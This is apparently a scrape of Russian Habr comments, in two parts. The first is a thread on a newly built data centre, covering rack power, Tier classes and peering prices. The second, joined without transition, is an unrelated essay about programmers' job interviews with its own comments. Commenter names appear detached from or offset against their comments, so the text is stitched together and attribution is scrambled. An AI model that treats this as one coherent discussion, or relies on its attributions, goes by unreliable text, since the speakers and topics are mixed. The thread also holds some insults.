Вы, конечно, молодец и сделали большую работу, но «что бы» пишется слитно.
Да, я зануда.
piroman
Я поправил, извините пожалуйста.
piroman
И картинка вполне в духе стимпанка (за который респект, только меди/латуни/ржавчины не хватает) — без запятых.
schors
И вообще там не стимпанк, а вполне киберпанк, в духе «Моны Лизы овердрайв» :)
Andrey_Rogovsky
Что тут скажешь… круто!
VolCh
Примите конгратуляции. Первый рассказ(другой автор) так и не окончился?
Читаются статьи, как повесть=)) интересно и понавательно!
Спасибо Вам! Успехов!
Возьмите на подработку ;))))
spycom
Интересно, спасибо
piroman
у нас в РЖД вообще смешно.
аккумуляторный резерв должен обеспечить 2 (иногда 8 часов) часа режима работы оборудования.
maxism
Что, и кондеев?
piroman
нет, только оборудования связи всех видов.
но и там 20-40кВ
Sabiko
кВт.
Usmekhaiouschiysia
как раз на тему охлаждения сегодня комикс попался (:
fog
Да, да.
Kastrulya
Ну дык, этож РЖД. Небось есть специальные аккумуляторные составы для таких целей ;)
XPyCT
Спасибо огромное за рассказ. Надеюсь это еще не конец? Ведь еще столько можно рассказать… конечно, чтобы без вреда для бизнеса… но так хочется узнать подробней про интернет каналы, про то, как решали организаторские вопросы. (:
hellt
Будет время — сподвигнусь. Но это не так научно — популярно выйдет.
piroman
Много, буквально все что было
hellt
3 ляма баксов
hellt
Если работать на себя, то вопрос решаемый. Вообще, для бабла есть инвесторы.
spqer
>Положили, тремя слоями сверху, каждые полметра, ленту с надписью «осторожно кабель».

будут копать найдут два раза ленту с надписью «осторожно кабель», включат осторожность и не найдут сам кабель, так на третий раз же не поверят!
piroman
Смотришь так, как ДЦ «за 1 день» на хабре «построился» и думается — «а не построить ли завтра тоже чениить такое?» )))
Спасибо, очень интересно!
M_org
Ну всё, пошел я свой дата центр строить под стартап.
spqer
О, повсюду конкуренты :)
piroman
Не парьтесь, не все такие буржуи — если я когда-нибудь доделаю корпоративный воркборд, вертеться он у меня будет на своем сервере под ногами, с гентой в зубах :)
MedVedar
Спасибо, очень интересно посмотреть человеку со стороны, как и что выглядит.
piroman
жаль картинки не кликабельны и не совсем подробно про электричество…
Kndy
А элекртричество и не видно, оно в гофре, гофра в коробах.
Разве что, внешний вид щитов нашелкать.
Crashus
Легко. Позитивно. Близко (*пинг 5мс или 5 минут на авто*)
Отличная маркетинговая стратегия. Круто!)
Omgovich
а инвайты на посещение такого чудесного помещения раздаёте? :)
piroman
После фейсконтроля.
ekzo
Интересно, сколько еще человек спросит про стоимость?

piroman, поздравляю! Это самая классная и почти самая неприкрытая реклама на хабре, которую я видел тут :) Я думаю тут большинство будет не против, если вы продолжите этот цикл статей ;)
andrew_b
Дизайнец сменить бы у сайтика-то.
Boomburum
Займусь на досуге.
S2nek
А что с ним не так?
piroman
Он не продает
ksenobayt
а есть примеры продающих сайтов?
S2nek
Конечно есть, а вот еще один не продающий — firstvds.ru/
moroz1999
Примеры в студию:)
imwode
Вы меня, конечно, извините, но в этих примерах я дизайна не вижу, вообще.
Исключительно собственное мнение:)
Mobby
также как и вы высказываете исключительно ваше
piroman
ад!
куски текста раскиданные по странице
и черный текст на черносинем фоне во втором случае.

это типа «сайт за 5$»?
jury
ого!:) действительно ад какой-то, а броузер какой?:)
nZeus
Firefox 3.5.1
piroman
ну, слушайте, у меня FF 3.5, смотрю еще и IE семерку и восьмерку, даже шестёрку смотрю, но черногосинего фона, черного текста, вообще чего-то черного и разбросанных кусков не вижу… Что я делаю не так?:)
M_org
как-то так



мегадизайн, да.
nsamoylov
Вы какой сайт смотрите?:) Сделайте скриншот WebDC.ru, а то там про тапочки вроде ни слова не было:)
piroman
млин! не в ту ветку вклинилась!:))))
M_org
как POLAR-RUGS может продавать?? )) он у меня даже не открылся ))

П.С.: ваймакс интернет, провайдер Таском
nsamoylov
edgash.ru/
17 октября, сб
Мы сменили дизайн нашего сайта!
(с)

Месяца не отработал, а уже есть информация о «продает»? ))

Друг мой, дизайн это такая странная вещь, что на глаз нельзя определить такой параметр как «продает» или «не продает», даже есть сайт делался строго по книжке про маркетинг и юзабилити ))
Juliyan
Ага, polar-rugs действительно продает унты, головы оленей и все прочее по 99 RUR/шт. Даже не удосужились в шаблоне FAQ заменить с дефолтного и «о магазине» не дописали.
nsamoylov
Неудачный пиар.=)
Juliyan
Самое смешное, что firstvds.ru продает аж со свистом.
nsamoylov
Для того чтобы применять маркетинговые термины — почитайте их значение. Для того, что давать оценку что «продает», а что «не продает» — проведите исследования. Для того, чтобы не зажимать себя в оценках типа «дизайн продает» — почитайте другие книжки, кроме той что уже прочли.
Juliyan
Как думаете, а этот сайт продает? ;-)
nsamoylov
Только за счёт дизайна сайт никогда продавать не начнёт, это фантастика. Хоть об стену убейся, а даже самый красивый магазин летит кувырком, если нет притока посетителей.
ProTeg
Если той же тематики, то вот этот ничего — mediatemple.net/
(у них jquery хостится)
intnzy
да, согласна, славный сайт, но ориентирован на западный рынок, по большому счету.
Juliyan
знакомые фотки. сюда RuWeb перебрался :)
intnzy
Не, я больше не Рувеб, чессное слово.
Juliyan
да я в курсе :)
intnzy
Ссылки на первые две части добавьте, а то я эту прочитал, и только в комментах заметил что это 3я часть (=
Juliyan
Гораздо лучше предыдущего "<a href=«habrahabr.ru/company/ispsystem/blog/73061/>обзора»
Теперь всё видно, молодцы!

p.s. жду продолжения про «персонал и его дрессировку».
Juliyan
черт, сори за битый линк.
Biart
Теперь главное — привлекать клиентов и совершенствовать работу коллектива! =)
ИМХО, в первую очередь работать надо на Качество (именно с Большой Буквы), а количество появится, когда всё будет организовано должным образом.
Надеюсь, оптимизм и рабочий настрой никого не будут покидать и дальше! ^_^
Biart
а на сайте — стойки 800 мм продаете
а тут пишете что не хватило

где правда?
darksab0r
Вглубину.
В ширину 600
leonard
Ничего себе. А фальшпол то высокий. Нормально выдерживает?
piroman
Высокий. пока не жаловались.
nsamoylov
Какой прогноз по срокам окупаемости?
Biart
2 года.
errr
нет
Usmekhaiouschiysia
А снаружи здание осталось как на первой фотографии? Дизбаланс, внутри 21 век, а снаружи совковый завод!
leonard
Увы. Не все в наших силах.
Juliyan
это прикрытие! :D
stfalcon
маскировка.
piroman
кстати -да
взрослые сурьезные дядки так вообще, как правило, секретят расположение ДЦ.
stfalcon
Правильно. Но комерческий dc не засекретишь.
А вот кто знает, где хоть один ДЦ яндекса. А я знаю пару :)
Agent_Smith
засекретиш. вполне. только это ограничит его сферу услуг… хотя…
даже на колокейшн может принимать оборудование специально обученный чел. приехал, забрал, и отвез «куда нужно». а клиент так и не будет знать физ разположение.
вполне себе схема.
В швейцарии, вона, в горах есть выдолбленные ДЦ, с воруженной охраной.
unicast
Нехватает статьи:

«Как я строил свой датацентр — часть четвертая. Как найти инвесторов»
unicast
Приезжайте на Хостобзор. Они там толпами.
ho20.ru
KedaRasta
Спасибо. Сложности переходного периода.
Можно пока звонить лично мне 7499448
baxtep
100% инвестицонные деньги, без кредитов обошлись?
Я правильно понял, вы владелец ruweb net?
piroman
Без кредитов.
Совладелец. Минориарий.
Roma2Duo
Буква т в ноутбуке, похоже, при смерти.
piroman
Посмотрел на сайте вашем про 6 квт питание :)
«Это один из самых высоких показателей для стоек таких размеров. „

Откровенную чушь пишите. Или просто врете…

Для таких размеров стоек — до 15квт можно подавать, а если бы брали knurr с жидкостным охлаждением — то и до 25 квт.

6квт по нынешним временам — чрезвычайно плюгаво, одно блейд шасси набитое лезвиями — кушает спокойно 8 киловатт. А это всего четверть стойки…

Я так понимаю — ДЦ максимум по классу tier-2 проходит? Чем тут гордиться? ;)

По ценам — на рынке в Мск есть и куда более выгодные предложения…
delaf
Холивар насчет блейдов поднимать?

Можно и 50 квт, но зачем? Где спрос?
piroman
Кажется, кто-то что-то не понял :D

Это я — _клиент_.
Размещаю проекты на десятки, сотни и тысячи серверов.

В Мск пересмотрел десятки ДЦ. В основном — удручающие вещи, по оснащению / конфигурации — примерно как у вас :)

Есть и новые ЦОД'ы, которые сделаны лучше, и даже близко к tier +.
Но цены по 12$k за стойку на 25 киловатт — это ребята похоже очень хорошо приложились головами об стенки :)))

Тенденция миграции крупных современных проектов из России в Европу — имеется, ввиду того что нынче оптика баснословно дешева.

Сейчас можно взять 10gbit p-t-p включение с MSK-IX до DE-IX например за 25$k в месяц. И не иметь никаких проблем.

Все думаю — кто первый допрет до предоставления «виртуального» московского датацентра — русский саппорт, «русские» AS, прямой выход на MSK-IX и пиринг со всеми кто нужен — а сам ДЦ размещен в ближней Европе (если финляндия — то вообще задержки будут минимальны).

Нет, бьются головой, плачут, едят кактусы и строят в Мск с безумно дорогим электричеством и кучей проблем :)))

DYm00n
Ну, постройте свой датацентр в Москве, раз такой умный то. Делов то на 2 года.
piroman
Зачем? Я что — идиот? :)) Заведомо утопическую бизнес-идею реализовывать?

Чтобы построить ДЦ грамотный в МСК — надо иметь огромный административный ресурс, особенно для получения энерговвода приемлемого (5 мегаватт минимум).

Для постройки ДЦ намного грамотнее или Европа или же на некотором расстоянии от Москвы.

Как только кто-то сделает грамотный ЦОД в подмосковье (неближнем) с отличными условиями и коннективити — начнется серьезный отток клиентов туда, и куча «я его слепила» вылетит в трубу без клиентов.
orcy
Даже если вы возмете 10gbit p-t-p включение с MSK-IX до DE-IX за 25$k, то это все равно + 40-50 мсекс, и все равно вы не со всеми запиритесь.
Но с другой стороны, говорить могут все, а как копать — недозовешься.
Включаетесь, покажите нам.
piroman
Как меня уже утомляет это тупое маркетинговое вранье ;)

1) Все забывают при этом уточнить что 50мск задержка (только по причине ограничений физики — скорость передачи световых импульсов) по широченной 10G «трубе» — для 99% клиентов _абсолютно_ приемлема, и никто ничего даже не заметит.

Единственное «но» — сервера RTS/FPS игр (и то — куча Россиян играют даже на _американских_ игровых серверах с удовольствием). Все… Ни мультимедийный контент, ни передача данных, ни онлайн игры, ни прочее — абсолютно не критичны к этим дополнительным 50мс.

2) Насчет «не запиритесь» — бред. В европе очень жесткие пиринговые законы. Если ты есть на DE-IX или AMS-IX — обязан пириться. Вот почему например трафик с рткома бегает на корбину через франкфурт или Лондон :D Они бы рады и вообще разорвать (воюют), но в Европе им за это по ушам надают, и серьезно. Ввиду чего имея выход на пиринговые Европейские точки — зачастую сервис _качественнее_ давать можно ввиду отсутствия диких колец a-la msk-frankfurt-msk (и суммарных задержек 200-300мс) :)

3) Кто сказал что мы НЕ включены? :)) Лично поднимал стыки Мск-Прага например.
Mordraug
>Сейчас можно взять 10gbit p-t-p включение с MSK-IX до DE-IX например за 25$k в месяц. И не иметь никаких проблем.

где взять?
сколько не ищу мне до франкфурта самое дешевое что предлагали — 40к USD, а так в среднем не меньше 45к EUR (wave я имею ввиду).
piroman
Видимо, такие цены только сноубордистам :)
intnzy
Хотя ладно, похоливарю.

Про весь мир и Тьерь 4 — тоже имею бооооольшлой опыт. 7 ноября будет 10 лет как им занимаюсь. Пересмотрел имел опыт работы не с одним десятком и европейских, и американских, и даже сингапурских.

Про сертификацию, циску вы конечно авторитет, диплом uptime institute у вас на стене весит. А нет, uptime university? Где это? Что это?

Насчет найти нормальный tier-2 за 500 долларов в европе? Покажите хоть один. Реально цена евров так 1200 за шкаф с 20 амперами. За 500 это Румыния, овощебаза, анагар, укурки в смене и хозяин цыган.

Та и про европейский Тьер 3 — ездил директор рувеба в dc, анонсирующий себя как tier -3, два ввода и ОДИН дизель. 2000 евро за стойку с 20 амперами, трафик по 6 евро мегабит? Я что то еще упустил?

Насчет прямых пирингов, у нас хоть кто то бесплатно подает трафик из DE-IX в MSK-IX? Вы либо не то курите, либо не совсем в курсе. Зарубеж в РФ платный, и поэтому зашейплен по пути к 30% клиентов, часто хорошо зашейпен, с дропами так.

А насчет сервера легко жрущего 500 вт, вы их хоть раз меряли руками? 20 реально включенных у меня дуалквадксеонов едят меньше 3 квт.
piroman
Ладно письками мерять не буду — это глупо.

Директор Рувеба ездил в Голандию, в Datacenter Grafix in Handelsweg. Насчет выкупить целый этаж, дык что же не выкупите, профит налицо, датацентры в России обречены.

Мелочь не мелочь, Местные телекомы вполне себе режут, вузтелекомы и подавно.

Меряю пдушкой апцшной, к которой они подключены, надеюсь вы о ней слышали? В ней даже вебинтерфейс есть. Внутри там хостинг крутиться.

Ну, насчет чем надо забить стойку, что бы она кушала 120 А? Ну есть и те, кто так развлекаеться. Экономического смысла в этом мало, но если клиент денег на железо не считает — банки, казино, нефтянка — газпром, порево, то пусть, деньги есть, можно тратить. Одно не пойму, если у людей есть деньги на это, зачем им чужой датацентр?
Обычно такие эксперементы ставят в своем, ну, исключая порнушников, там крутиться надо быстрее.
intnzy
BTW — по поводу cisco — MSK-IX испытывает дикие проблемы с перегрузом своих цисок, сейчас уходят на другое решение :D

Из-за этого тормозит рунет кстати — полка 145 гигабит на MSK-IX. Сisco, в сущности — уже мертвецы. Nexus — от него все ведущие телекомы отказались во всем мире (крупные скандалы), ASR / GSR — архаично и тоже никому не нужно.

Умные компании берут Juniper (MX960 / 480 как рутеры, EX как L2/L3 коммутаторы), Foundry (на которых построено например AMS-IX где 2 терабита трафика уже), Force10Networks (ExaScale — шикарные железки)…

web.me.com/shapa/Site/msk-ix-daily.png

TraderMax
Вообщем вы стандартный сноубордист :)

Промывайте мозги вашим клиентам, мне их жалко.
piroman
Отличная аргументация, браво! :D

p.s. боюсь, идиотизм большинства (к счастью, не всех) российских «датацентростроителей» практически неизлечим ;)
так же как куриная слепота, не позволяющая заметить того что я / компании с которыми работаю — _клиенты_ датацентров :))))
piroman
Вообще да, от сноубордизма явно до ФМГ недалеко. И главное, был бы это первый пример.

Анализируем вышесказанное.

Вы ничего не предлагаете, а только и хотите сказать — у вас дерьмо, в Европе все сделано правильно, если тут все будет сделано правильно, вы все умрете, но делать я не буду, потому что я не идиот.

Клиническая картина.
delaf
А на сайте да, много всяких глупостей. Отмазываюсь, тексты не я писал.
piroman
надо поправить тексты и всё будет ок, я думаю?!:)
piroman
Hc вообще стойку только на 4кВт предлагают, с ценой 90 000.
Какие в России по основным параметрам нормальные дата-центры? или надо всем повально сервера заграницу везти?
shapa
Например — лично знаю этих ребят.

www.dc77.ru/

Никакого аффилирования нет, дом стоит («Эдельвейс» на кутузовском) рядом с их ДЦ — познакомился случайно.

Стойки knurr, жидкостное охлаждение, 15квт на стойку, более чем разумные цены.

Кстати где-то здесь они на хабре тоже статьи выкладывали.

Еще есть вполне адекватные ЦОДы — тот же Iteco с их новым ДЦ, цены тоже очень разумны и тоже можно получить 10квт на стойку спокойно например (да и больше)

И тд и тп.

Может стоит только поискать? :)
piroman
У Iteco, 5 КВт на стойку (Смотрю тут), может другой сайт нового ДЦ?
Dc77 довольно таки интересные предложения.
Искать конечно вариант, только там пока не попробуешь не узнаешь, в тексте все что угодно можно написать.
shapa
Айтеко — у них есть новый ДЦ, который часть уже введена, часть — скоро будет.

Сделаны очень грамотно (значительно грамотнее того что тут «рекламируется»), это твердый уровень Tier 3+ (вплоть до того что есть подземный (очен большой, мини-озеро) резервуар с водой для аварийного охлаждения), при умении договариваться — цены получаются весьма привлекательные.

Cтандарт у них 5квт, при необходимости дают 11-12квт (но лучше заранее до запуска зала в эксплуатацию договориться)
piroman
Бест хостер тут все отписывает что они переезжают в свой дата центр. Случаем не в ваш?
shapa
Не в наш.
piroman
Поздравляю! Отличная работа.
Только мне не понравилось освещение на последней фотографии. Для интимных встреч пойдет, а для работы надо еще ряд между стоек пустить на потолке.
shapa
Свет в норме, просто фото наверное с телефона. Холодно очень работать, но человеческие слабости там на втором месте после условий для горячих серверов. Главное чтобы железкам было комфортно жужжать.
piroman
тс… Никому не рассказывайте.
На самом деле он где надо, аска просто не прописана куда надо.
shapa
Ну, это NOC (любители cisco? :) ) протупили просто видимо и ошиблись при получении AS :)
Чинится за день, но похоже никому не нужно.
l0rda
супер, прочитал все комментарии на часах страшное время
piroman
а IP KVM есть? чтоб по VNC подключиться и получить KVM?
piroman
Да. Резвый дежурный воткнет ее по запросу. Но, вообще к стойке принято брать ее самомум :)
shapa
Чёто у вас не красиво, вот как надо —
thatlinuxbox.com/blog/article.php/20091104231422578
piroman
Я тоже так умею :)
shapa
Простите, может уже спрашивали, не увидел: сколько человек было задействовано во всей мега-стройке?
piroman
Несколько бригад на каждом участке. Не считал, но порядка 30, в общей сложности.
shapa
А нет ли вокруг датацентра вредного производства, по которому ездят камазы и врезаются в стены датацентра?
piroman
В смыле карьера с белазами? Карьера нет.

А вокруг они ездиют, куда деваца. Но медленно и поодаль.
piroman
Вчера один такой камаз в жилой дом въехал. А я смутно припоминаю, что в аммериканском стандарте прописано, что датацентры рядом с производством и камазами нельзя ставить. Не страшно за здание?
piroman
Прописано. В третьем тьере.
У нас второй, так что можно не волноваться.
Juliyan
Ну пусть ездиют поодаль :)

Каким бы плохим Ваш центр не был (по мнению знатоков), пока такими центрами не насытится рынок, лучше всё равно ничего не будет. А там, глядишь, вы и раскачаете индустрию, и следующий будет уже побольше и посильнее.
venticello
Кто это знаток, интересно?
Сноубордист shapa?

На рынке ДЦ в Москве много понтов и мало реальных данных.
Реальных тьер 3 ДЦ в москве меньше чем пальцев на одной руке. Да и то, пока не начнешь копать.
А все потому, что 3 тьер стоит очень много денег, да и клиентов на надежность 1.5 часа простоя в год за две цены не так много.

В общем, решение назревало давно, и вот, одним пасмурным Питерским утром, я сказал шефу, что, к сожалению, тут наши пути расходятся. Было составлено резюме, более или менее описан десятилетний опыт работы в области web-программирования, обдумана сумма оклада, немного выше средней по Питеру, но далеко не топовая (я пока ни разу не гуру), оплачены услуги по поднятию резюме в топ каждые четыре часа, установлена прога, записывающая все входящие звонки (чтоб ничего не забыть), и я сел ждать. Собственно, это был вечер пятницы, так что ждать пришлось аж до понедельника, но в понедельник начался ад.
Звонков было много, за следующую неделю я посетил 17 собеседований, по 3-4 в день, в четверг я уже перестал соглашаться на собеседования, а звонки все шли и шли.
Это не статья из серии, «смотрите как меня все хотят, я офигенен», я просто хочу сказать, что сейчас в России существует дефицит IT специалистов, и когда подходящий человек приходит к вам в компанию, важно не только то, насколько он понравится вам, но и то, насколько вы понравитесь ему, ибо мне кажется, что сейчас конкуренция существует скорее на вашей стороне, на стороне работодателей, чем на стороне программистов. Оговорюсь сразу, речь не пойдет о всяких Яндексах, ВКонтактах и Мэилру, там все ясно, речь идет о компаниях второго эшелона, предыдущей ступени.

Руководитель IT.


В разных компаниях должность называется по разному, но в итоге, имеется в виду, ведущий разработчик. Симпотные девушки из HR-отдела — это конечно здорово, но для меня, лицо компании — главный технический специалист. Обычно именно он отвечает за техническую часть собеседования. Отнеситесь серьезно к выбору этого человека. По нему я делаю вывод об уровне компании. Например, в одной компании, меня спросили насколько плотно я работал с код-инжектором? Мой вопросительный взгляд вызвал неодобрительное «хм...» и отсылку на строчку «CodeIgniter» в моем резюме. «Как же так, Володя, пишете же, что работали». Еще сейчас очень модный вопрос «Работали ли вы с MVC». Мне всегда хочется ответить «А вы вообще знаете что такое MVC?». Сложилось впечатление, что большинство, принимают этот паттерн за еще один фрэймворк. Тут всегда интересно посмотреть, будут ли уточняющие вопросы после моего короткого «Да», и если будут — большой плюс работодателю.
Почему это для меня так важно? Я еще молод, и я хочу развиваться на работе, ведь как не крути, а задачи, решаемые в компании, более или менее соответствуют уровню тим-лида, и эти задачи не должны быть ощутимо ниже моего уровня.

HR-менеджеры


Сколько же времени я потерял, из-за этих людей. Несколько раз я приходил на собеседования, и к своему удивлению, обнаруживал, что в компании вообще нет никаких проектов, связанных с моей специализацией. Причем по телефону меня уверяли в обратном. Хит сезона — спутать Java и JavaScript, так я попал на три собеседования к разработчикам мобильных приложений. Тут есть и моя вина, надо более подробно расспрашивать менеджеров, во время телефонных разговоров, но чаще всего, они просто не обладают достаточными знаниями, что бы ответить на мои технические вопросы, и разговор сводится к тому, что мое резюме им подходит, и у них бесплатное питание, в комнате отдыха, с настольным футболом. Возможно HR-менеджеры себя оправдывают в других специальностях, но в IT, все же, наймом специалистов должен заниматься знающий человек. Ну или, как минимум, HR-менеджер должен быть в тесном контакте с техническим специалистом.

Зарплата.


Ох, самая больная тема. Когда вы набираете мой номер, вы должны понимать, что сумма, указанная в резюме — это не предел моих мечтаний, это минимальный порог, при котором я соглашусь работать у вас. Мне очень понравилась фраза «Ну, на испытательный срок в три месяца, вы будете получать в полтора раза меньше, а после, постараемся подтянуть до...». Во первых, мне не улыбается бедствовать три месяца, во вторых, я не очень понимаю слово «постараемся»… Такое ощущение, что я пришел выпрашивать у них работу, мне некуда податься, и так и быть, они возьмут меня на работу, но ничего обещать не могут. Был вообще, очень странный случай, когда меня пригласили на собеседование в компанию, перечислив мне по телефону проекты, реализованные ими, которые действительно произвели на меня впечатление. В крутом бизнес-центре, меня усадили в очень удобное кресло, задавали много вопросов, уточняли ответы, и потом, как бы между прочим, сообщили, что у них сейчас небольшие проблемы, и ближайшую зарплату я получу только через три месяца. На мой удивленный взгляд, сказали, что ничего страшного, я могу пока взять кредит, что бы было на что жить в ближайшее время.

Тестовое задание.


Я всеми руками за тестовое задание. Ведь будущему работодателю как-то нужно определить мой уровень. Некоторым для этого хватает разговора на собеседовании, подробного рассказа о том, чем я занимался в прошлых компаниях, какие технологии использовал. Некоторые предлагают листочек с вопросами, на которые я должен письменно ответить. Некоторые высылают ТЗ перед собеседованием, или дают его в качестве домашнего задания после. Первый способ, конечно для меня самый удобный, рассказать о том, какие задачи решал, как решал, какие проблемы возникали. Это не так сложно, и занимает немного времени. Второй — самый сложный. Во первых, очень непривычно и неудобно писать код на листочке, во вторых, это очень походит на экзамен, к которым, наверное у каждого молодого человека стойкая неприязнь на уровне подсознания и в третьих, собеседование — это все-таки стресс, который несколько отвлекает от программирования. Ну и третий вариант, на мой взгляд, самый оптимальный. Он позволяет программисту решить ТЗ в спокойной, домашней обстановке, возможно за чашечкой чая-кофе, пользуясь привычными инструментами.
Правда тут важно не переборщить. Например одна компания, скинула мне ТЗ дня на два работы. Я понимаю, по моей реализации более или менее большой задачи, обо мне можно сказать многое, но поймите и вы, я целыми днями бегаю по собеседованиям, и у меня просто нет времени, засесть за комп на два дня. Большие ТЗ актуальны только в том случае, если вы та компания, в которой я очень хочу работать, и другие предложения не рассматриваю. Если бы мне пришло такое задание например из Google, я бы его, конечно, выполнил, но давайте на чистоту: Вы Google?
Кстати о Google. Было одно очень странное собеседование в небольшом рекламном агентстве, где мне не задали ни одного технического вопроса, зато дали список вопросов от Гугла. Причем, если у Гугла этот список разбит по должностям, мне дали все подряд. Надо сказать, что оттуда мне так и не перезвонили. Видимо не работать мне в Гугле :-(

Организация собеседования.


Если кто-либо из руководителей или HR-менеджеров читает эти строки — хочется к вам обратиться: пожалуйста, подходите к организации собеседований более серьезно. Учитывайте не только свои интересы, но и интересы соискателя.
Первое что очень раздражает — это квест под названием «Найди наш офис». Сейчас большинство офисов компаний находятся в бизнес-центрах. И если найти сам БЦ не проблема, на крайний случай у меня есть GPS в телефоне, то вот найти офис — довольно сложно: «Поднимитесь на эскалаторе на второй этаж, пройдите в левое крыло, дальше на лифте на четвертый этаж, там две двери — наша правая, идите до офиса 435, далее налево, пока не увидите красный телефон. Наберите на нем 163 и скажите что вам нужен ...». Если вас сложно найти в БЦ — не нужно рисовать карту сокровищ, просто спуститесь и встретьте.
Так же, очень модная сейчас практика — «серия интервью». Сначала интервью с HR, потом с прямым руководителем, потом с директором. И все это в разные дни. Часто даже в разные недели. И опять же, эта практика работает, если я задался целью попасть именно к вам в компанию. Но если я сейчас ищу работу, а вы не предлагаете ничего, что выделяет вас среди остальных вакансий — я не буду ждать. В одной компании я сначала встретился с HR-менеджером, потом через несколько дней, меня пригласили на встречу с руководителем отдела кадров. А еще через несколько с генеральным директором. От последней я уже отказался. Первые две встречи были совершенно одинаковыми, те же самые вопросы, соответственно те же самые ответы. Технической части не касались вообще. Подозреваю что третье интервью было бы таким же. Заметьте, три интервью, и ни одного с техническим специалистом.
Самое худшее, что может придти вам в голову — устроить групповое интервью. Три соискателя с одной стороны, один работодатель с другой. Это было одновременно и неловко и глупо. Походило на какое-то реалити шоу. Я уж не знаю, может это был такой психологический тест…

Вывод.


Дело в том, что программисты сейчас находятся на особом положении, мы можем выбирать. Это не везение (сколько раз я слышал такую фразу: «Повезло тебе, ты программист»), это результат упорного труда, когда большинство наших сверстников проводило ночи в клубах, мы сидели за книгами и клавами, когда большинство наших друзей, после работы смотрит Камеди под бутылочку пива — мы все еще сидим за книгами и клавами. Наша профессия требует полной отдачи, и вполне естественно, что мы можем сказать «нет» компании, которая не произвела на нас положительного впечатления. Хотите нанять опытного программиста, способного не просто решать задачи, но и делать это грамотно — подойдите к организации собеседования чуть более серьезно.
battrack
За последний абзац пять с плюсом! Респект!
el777
Один мой крайне умный знакомый (в частности, у него два высших образования МГУ — физфак и ВМК) любит говорить:
— Программисты – это пролетарии постиндустриальной эпохи.

Как в свое время люди стояли у станка, так мы сейчас сидим за «интеллектуальным станком» — компьютером. На первых в свое время был бешеный спрос — в период стремительной индустриализации очень нужны были люди, которые смогут нормально работать на станке, не сломают его, произведут качественный физический продукт. Сейчас идет ИТ-бум — стремительная постиндустриализация. Поэтому, естественно, нужны специалисты, производящие ИТ-продукт. Как следствие острой нехватки — большой спрос и возможность выбирать компании.

Я бы сказал, это не только везение, и не только сутки напролет за книгами, но еще и коньюнктура рынка.
Которая рано или поздно изменится…
VSOP_juDGe
Что за бредятина? Вы путаете эникейщиков и специалистов-профессионалов. Сравнивать программистов и администраторов — глупо. Обе профессии находятся в области ИТ, но это все равно что сравнить труд сварщика и сантехника — разные вещи. Покажите мне, пожалуйста, хоть одну компанию, в которой более 10 ПК и в которой не используется труд эникейщиков-станочников? (в том числе и аутсорсинг).
Для меня совершенно непонятно, почему программистов некоторые люди ставят выше по иерархии, чем администраторов. Разве что по планке ЗП, хотя для меня это тоже непонятно. Хороший администратор может (и в какой-то мере — является) стать программистом (и есть примеры!). Наоборот — врядли.
Neuronix
Спасибо всем коллегам, слившим мне карму :) Я сам и администратор и программист. И я понимаю разницу между администратором например в Селектеле, и администратором офисной сети на 30 машин.
VSOP_juDGe
Вопрос планки — вопрос насыщения рынка. Администраторов (не эникейщиков) требуется не много. Если они хотят сменить работу, то им нужно впечатлить работодателя.

А уже начиная с уровня middle программиста должен впечатлить работодатель.

Aisu_Kuge
Я собственно это и имел в виду. Раньше в каждом офисе был эникей, сейчас многие обходятся без него совсем, либо используют услуги аутсорсеров.
VSOP_juDGe
Эпоха системщиков и эникейщиков была лет 15-20 назад (в СНГ), когда начался массовый переход к компьютерным технологиям.

Сейчас переход к информационному обществу. Огромное количество программистов трудятся за тем, что бы перенести всё привычное в онлайн. А что им делать лет так через 20, когда переход осуществиться. Когда большинство того, что можно было автоматизировать будет автоматизированно. Когда разрабатывать большой пласт ПО будет уже не зачем (и это в первую очередь узкопрофильный софт). Сфера развлечений уже тоже будет перенасыщена.

Тогда начнётся гонка за креаторами, т.к. чтобы заработать компаниям разработчикам нужно будет создавать не аналоги, а принципиально новые подходы к использованию ресурсов информационных технологий.
Aisu_Kuge
Кто-то же должен воплощать в жизнь идеи креаторов. Программистов станет меньше только с появлением возможности создания программ без написания кода. Попытки есть и сейчас (типа wwf), но не факт, что это в принципе осуществимо.
VSOP_juDGe
Я же не сказал, что потребность программистов исчезнет, она просто сильно ужмётся.
Aisu_Kuge
Сомневаюсь. Тех же станочников стало меньше только из-за того, что станки стали совсем мало нуждаться в людях. Раньше один станок — несколько человек, сейчас один человек — несколько станков. И заметьте, это уже программисты :).
С программистами такое вряд ли произойдет — кода будет только больше. Больше вычислительных мощностей, сложнее алгоритмы, больше электроники вообще везде. Тут вряд ли может быть такой себе станок с ЧПУ который заменит токаря.
Все скатывается к электронике и программам. Уже очень очень многие вещи проще сделать при помощи микроконтроллера и программы, дальше будет больше. И все эти программы должен кто-то писать и поддерживать.

Рост объемов и сложности будет требовать только бОльшей квалификации.
frig
Произойдет, если полноценный ИИ будет.
fenrirgray
А доживём ли до полноценного ИИ-то?

Лет через 200 будет какое-то пост-пост-постиндустриальное общество с ИИ и электрическими поэтессами, ну а в ближайшей перспективе — всё будет как есть (ну с мелкими флуктуациями). Скажем прямо: 90% хабражителей не доживут до ИИ.

И да, буду рад, если окажусь неправ.
ImperfectCadenca
Администраторов (не эникейщиков) требуется не много.

Согласен.
Если они хотят сменить работу, то им нужно впечатлить работодателя.

Возражаю. Дефицит кадров устрашающий, найти грамотного человека очень тяжело. Многие вакансии с привлекательными с любой точки зрения условиями могут годами не закрываться. Ибо спрос небольшой, но предложение еще меньше.

Опять же, речь вовсе не про аникей и не про «многорукого шиву», имеющего десятилетний опыт работы в компании на 50 человек и в совершенстве умеющего собрать тот самый троллейбус из опенсорсной буханки хлеба в условиях нулевых бюджетов.

На администраторов спрос уже упал, в связи с внедрением облачных сервисов

Да, спрос упал на тех самых многоруких админов и на аникейщиков. Тут и облака, и мода на аутсорс. Вот только в компаниях, сопровождающих облака и осуществляющих аутсорс, тоже работают администраторы — уровнем повыше, так что на грамотных людей спрос аж растет :)
JDima
Странно, я администратор, но никого впечатлять не приходится, отрывают только так.
Что я делаю не так?

Неправильное мышление.

Для реально хороших специалистов, кем бы ты не был, рынок НИКОГДА не насыщен.
Хороших (high-skilled) специалистов, как и в узкой области, так и генералистов, разрывают на части.
pportnoy
> Хороший администратор может стать программистом. Наоборот — врядли.
Знаю несколько примеров, когда хорошие, действительно хорошие программисты становились сетевыми администраторами.

Разница между профессиями серьёзная.
Программист должен работать. Всегда работать. Когда программист не работает, задачи не выполняются.
Администратор должен «чтобы всё работало». Всё настроил, и дальше максимум делает апдейты и раздаёт доступы, да и то можно автоматизировать. Остальные задачи делают эникейщики/техподдержка.

Поэтому при условии равной зарплаты некоторые люди вполне могут пойти в админы.
Не все же маньяки-кодеры.
kaichou
